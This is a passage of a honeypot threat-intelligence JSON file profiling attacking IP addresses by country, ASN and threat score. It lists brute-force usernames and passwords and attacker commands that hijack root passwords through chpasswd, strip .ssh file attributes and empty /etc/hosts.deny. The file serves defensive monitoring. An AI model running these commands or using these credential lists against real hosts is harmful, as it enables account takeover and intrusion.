        "echo \"1234\\nFwBZyGvznMEu\\nFwBZyGvznMEu\\n\"|passwd",
        "echo \"Devman123!\\nVAFnXHuFx3Fc\\nVAFnXHuFx3Fc\\n\"|passwd",
        "echo \"mailuser1234\\neiD4mY4Jtgbu\\neiD4mY4Jtgbu\\n\"|passwd",
        "echo \"root:2H77cdWN4L4b\"|chpasswd|bash",
        "echo \"root:ED0Ns7ReVcsC\"|chpasswd|bash",
        "echo -e \"123456\\n95eR5gPXjK9f\\n95eR5gPXjK9f\"|passwd|bash",
        "echo -e \"1234\\nFwBZyGvznMEu\\nFwBZyGvznMEu\"|passwd|bash",
        "echo -e \"Devman123!\\nVAFnXHuFx3Fc\\nVAFnXHuFx3Fc\"|passwd|bash",
        "echo -e \"mailuser1234\\neiD4mY4Jtgbu\\neiD4mY4Jtgbu\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 147124,
      "as_org": "PT Hostingan Awan Indonesia",
      "threat_score": 40.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.0,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 790,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T23:15:07.622000+00:00",
        "last_seen_30d": "2026-03-22T12:24:24.971000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 658,
        "Suricata": 132
      }
    },
    "118.193.35.63": {
      "attack_count": 621,
      "first_seen": "2026-03-30T04:35:21.946Z",
      "last_seen": "2026-03-30T05:33:33.253Z",
      "sessions": 69,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 48.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 2754,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-30T04:35:18+00:00",
        "last_seen_30d": "2026-03-30T05:34:46.931000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 2052,
        "Cowrie": 483,
        "Suricata": 219
      }
    },
    "45.194.37.246": {
      "attack_count": 473,
      "first_seen": "2026-03-04T00:17:21.263Z",
      "last_seen": "2026-03-30T04:44:34.206Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "airflow",
        "coolify",
        "dev",
        "fox",
        "jira",
        "n8n",
        "syncthing",
        "testing",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ@WSX#EDC",
        "1!deshine",
        "123",
        "12345",
        "123456",
        "123456Qwe!",
        "123@123Aa",
        "1qaz@WSX",
        "1qaz@wsx",
        "7788521",
        "Abc123Abc123",
        "Centos2024",
        "Fox123",
        "P@55word1234",
        "Passw0rd01!",
        "Qwe@1234",
        "Rr123456789",
        "a12369"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"airflowpass\\nvN5ynoFZwUZQ\\nvN5ynoFZwUZQ\\n\"|passwd",
        "echo \"root:19ZpgVdtajUf\"|chpasswd|bash",
        "echo \"root:B9McQ65ktr8p\"|chpasswd|bash",
        "echo \"root:gULXhKATRTUx\"|chpasswd|bash",
        "echo -e \"airflowpass\\nvN5ynoFZwUZQ\\nvN5ynoFZwUZQ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 138995,
      "as_org": "Antbox Networks Limited",
      "threat_score": 60.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.8,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 600,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T00:17:21.263000+00:00",
        "last_seen_30d": "2026-03-30T04:45:41.266000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 473,
        "Suricata": 127
      }
    },
    "210.79.191.18": {
      "attack_count": 460,
      "first_seen": "2026-03-03T23:42:19.746Z",
      "last_seen": "2026-03-23T15:35:43.525Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bala",
        "deepak",
        "shawn",
        "alex",
        "android",
        "bdos",
        "bounce",
        "bryan",
        "cb",
        "cyril",
        "dietpi",
        "fernando",
        "ftpuser2",
        "joshua",
        "julien",
        "jupyter",
        "kibana",
        "lfs"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123",
        "1234",
        "password",
        "123456",
        "123456Qw",
        "Centos2025",
        "Jw123456",
        "Kibana123",
        "Test5",
        "Welcome2025",
        "Ww123456..",
        "asdf1234@",
        "bala@123456",
        "bounce123",
        "bryan",
        "cyril@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\npPsffDE59Nyx\\npPsffDE59Nyx\\n\"|passwd",
        "echo \"bala@123456\\nwMEFUNuQJuPY\\nwMEFUNuQJuPY\\n\"|passwd",
        "echo \"password\\nWICOH6Eo3LnT\\nWICOH6Eo3LnT\\n\"|passwd",
        "echo \"root:w7CkeFazwBww\"|chpasswd|bash",
        "echo -e \"123456\\npPsffDE59Nyx\\npPsffDE59Nyx\"|passwd|bash",
        "echo -e \"bala@123456\\nwMEFUNuQJuPY\\nwMEFUNuQJuPY\"|passwd|bash",
        "echo -e \"password\\nWICOH6Eo3LnT\\nWICOH6Eo3LnT\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 41.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.5,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 565,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T23:42:19.746000+00:00",
        "last_seen_30d": "2026-03-23T15:36:49.161000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 460,
        "Suricata": 105
      }
    },
    "162.243.174.162": {
      "attack_count": 398,
      "first_seen": "2026-03-02T07:08:34.227Z",
      "last_seen": "2026-03-02T08:16:46.897Z",
      "sessions": 77,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "123456789",
        "Admin123",
        "admin",
        "admin123",
        "letmein",
        "password",
        "qwerty",
        "!@#$%^&*",
        "000000",
        "111111",
        "123",
        "123123",
        "123321",
        "1234",
        "12345678",
        "1234567890",
        "123abc",
        "123qwe"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 566,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:03:37.886000+00:00",
        "last_seen_30d": "2026-03-02T08:17:54.945000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 398,
        "Suricata": 168
      }
    },
    "206.189.106.194": {
      "attack_count": 392,
      "first_seen": "2026-03-16T00:30:27.063Z",
      "last_seen": "2026-03-16T01:38:26.566Z",
      "sessions": 78,
      "ports": [],
      "usernames_attempted": [
        "postgres",
        "oracle",
        "root",
        "apache",
        "deploy",
        "git",
        "guest",
        "hadoop",
        "jira",
        "mysql",
        "nagios",
        "pul",
        "server",
        "test",
        "test1",
        "test2",
        "test3",
        "testuser",
        "uftp",
        "vps"
      ],
      "passwords_attempted": [
        "123",
        "321",
        "pass",
        "test",
        "123456",
        "1234qwer",
        "123qwe",
        "654321",
        "P@ssw0rd",
        "pass123",
        "passpass",
        "passwd",
        "password",
        "password123",
        "qwe123",
        "qwer1234",
        "qwerty",
        "qwerty123456",
        "test123",
        "test321"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 559,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T00:30:27.063000+00:00",
        "last_seen_30d": "2026-03-16T01:39:28.196000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 392,
        "Suricata": 167
      }
    },
    "210.79.191.76": {
      "attack_count": 322,
      "first_seen": "2026-03-13T15:05:59.984Z",
      "last_seen": "2026-03-13T18:27:31.819Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "cristina",
        "gits",
        "root",
        "sm",
        "arm",
        "dennis",
        "devman",
        "ishii",
        "linode",
        "m",
        "nuc",
        "qtss",
        "reza",
        "sshd",
        "svetlana",
        "sys",
        "teamspeak",
        "tomcat"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "987654321",
        "Aa_123456",
        "Arm123!",
        "Dev@123",
        "User10123!",
        "claude1",
        "cristina",
        "dennis",
        "gits123",
        "linode",
        "nuc123",
        "pass123",
        "password",
        "qtss",
        "qwerty",
        "sm123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"cristina\\n9neI3PseO41f\\n9neI3PseO41f\\n\"|passwd",
        "echo \"gits123\\neMBiXXB1Qpqc\\neMBiXXB1Qpqc\\n\"|passwd",
        "echo \"sm123\\n5TKPzcOwCSqh\\n5TKPzcOwCSqh\\n\"|passwd",
        "echo -e \"cristina\\n9neI3PseO41f\\n9neI3PseO41f\"|passwd|bash",
        "echo -e \"gits123\\neMBiXXB1Qpqc\\neMBiXXB1Qpqc\"|passwd|bash",
        "echo -e \"sm123\\n5TKPzcOwCSqh\\n5TKPzcOwCSqh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 399,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T15:05:59.984000+00:00",
        "last_seen_30d": "2026-03-13T18:28:34.394000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 322,
        "Suricata": 77
      }
    },
    "196.218.222.18": {
      "attack_count": 312,
      "first_seen": "2026-03-16T14:25:10.856Z",
      "last_seen": "2026-03-30T13:07:29.407Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "geonode",
        "denis",
        "haoyu",
        "jupiter",
        "node",
        "odoo15",
        "shirley",
        "strapi",
        "superv",
        "test01",
        "unix",
        "user22",
        "xxx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Qaz@Wsx3edc",
        "12345",
        "123456",
        "12345678",
        "123456root",
        "12qazWsx",
        "1qazxcvbnm",
        "781220",
        "98765432",
        "Aa123*",
        "Abc-123456789",
        "Abcde123",
        "Lala1234",
        "Nb123456",
        "Noc@123",
        "P@ssw0rd12345",
        "Pass12345678",
        "Qwe123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"geonodegeonode\\neTQk4zPhl8Vb\\neTQk4zPhl8Vb\\n\"|passwd",
        "echo \"root:7NcOMcvPwHsR\"|chpasswd|bash",
        "echo -e \"geonodegeonode\\neTQk4zPhl8Vb\\neTQk4zPhl8Vb\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": null,
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 48.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.1,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 407,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T14:25:10.856000+00:00",
        "last_seen_30d": "2026-03-30T13:08:37.472000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 95
      }
    },
    "188.166.166.214": {
      "attack_count": 310,
      "first_seen": "2026-03-04T22:14:43.830Z",
      "last_seen": "2026-03-16T08:12:25.227Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "zhao",
        "andrei",
        "caja",
        "gestion",
        "mirror",
        "nfe",
        "oneadmin",
        "shoutcast",
        "testmail"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "000000000",
        "12345",
        "123456",
        "12345678",
        "1a2b3c4d@",
        "Bingo@1993",
        "Mirror123!",
        "Test@2025",
        "Testmail123!",
        "Ty123456",
        "ZAQ!1qaz",
        "abc",
        "admin@admin.com",
        "oneadmin123",
        "qwe@2023",
        "root00",
        "shoutcast1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nvK7nYug2NICh\\nvK7nYug2NICh\\n\"|passwd",
        "echo \"root:BYksRWPiKHWo\"|chpasswd|bash",
        "echo \"root:gWSMwkWJmokV\"|chpasswd|bash",
        "echo -e \"123\\nvK7nYug2NICh\\nvK7nYug2NICh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 373,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T22:14:43.830000+00:00",
        "last_seen_30d": "2026-03-16T08:13:33.738000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 310,
        "Suricata": 63
      }
    },
    "112.78.10.55": {
      "attack_count": 291,
      "first_seen": "2026-03-07T04:14:16.462Z",
      "last_seen": "2026-03-26T10:26:44.930Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "drush",
        "ttt",
        "admin",
        "auditor",
        "dell",
        "firewall",
        "mobile",
        "nfe",
        "obfuscator",
        "openvpn",
        "pro",
        "site2030",
        "supersets",
        "syh"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "0okm(IJN",
        "123456",
        "@qwer2024",
        "@qwer2025",
        "Site2030123",
        "admin1234",
        "auditor",
        "drush",
        "obfuscator123",
        "openvpn123!",
        "password",
        "pro",
        "supersets",
        "syh123!",
        "ttt123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"drush\\nzSLmMuUjB7DW\\nzSLmMuUjB7DW\\n\"|passwd",
        "echo \"root:QnxyQPwfaL3i\"|chpasswd|bash",
        "echo \"ttt123\\nWRU8vDCIWb7J\\nWRU8vDCIWb7J\\n\"|passwd",
        "echo -e \"drush\\nzSLmMuUjB7DW\\nzSLmMuUjB7DW\"|passwd|bash",
        "echo -e \"ttt123\\nWRU8vDCIWb7J\\nWRU8vDCIWb7J\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 45538,
      "as_org": "ODS Joint Stock Company",
      "threat_score": 45.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.4,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 344,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T04:14:16.462000+00:00",
        "last_seen_30d": "2026-03-26T10:27:50.894000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 291,
        "Suricata": 53
      }
    },
    "103.142.26.46": {
      "attack_count": 286,
      "first_seen": "2026-03-15T20:19:59.260Z",
      "last_seen": "2026-03-25T20:52:29.858Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "choi",
        "root2",
        "yogi",
        "assistant",
        "bert",
        "celery",
        "dario",
        "elk",
        "ethan",
        "itsupport",
        "karin",
        "relaxbckp",
        "robin",
        "root",
        "storage",
        "sysckp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "Ethan123",
        "assistant123",
        "choipass",
        "dodol123",
        "itsupport",
        "karin",
        "password",
        "relaxbckp",
        "sysckp",
        "yogi"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"choipass\\ngFmONV2Au8pp\\ngFmONV2Au8pp\\n\"|passwd",
        "echo \"root:I1BoQycLFb2T\"|chpasswd|bash",
        "echo \"yogi\\nnUnxdgmoozyO\\nnUnxdgmoozyO\\n\"|passwd",
        "echo -e \"choipass\\ngFmONV2Au8pp\\ngFmONV2Au8pp\"|passwd|bash",
        "echo -e \"yogi\\nnUnxdgmoozyO\\nnUnxdgmoozyO\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135951,
      "as_org": "Webico Company Limited",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 336,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T20:19:59.260000+00:00",
        "last_seen_30d": "2026-03-25T20:53:37.109000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 286,
        "Suricata": 50
      }
    },
    "185.196.10.253": {
      "attack_count": 282,
      "first_seen": "2026-03-20T23:37:18.243Z",
      "last_seen": "2026-03-26T11:55:11.305Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "b",
        "dario",
        "srs",
        "assistant",
        "astra",
        "ben",
        "informatica",
        "mama",
        "matic",
        "md",
        "nikhil",
        "paid",
        "patrick",
        "testmail",
        "vip1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "12345678",
        "Astra123",
        "Patrick123",
        "dario123",
        "mamapass",
        "matic123",
        "paidpass",
        "password",
        "srspass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\novpMI1LB2I6H\\novpMI1LB2I6H\\n\"|passwd",
        "echo \"dario123\\npgc2aQFF9s42\\npgc2aQFF9s42\\n\"|passwd",
        "echo \"srspass\\nzhzjVHT1vobL\\nzhzjVHT1vobL\\n\"|passwd",
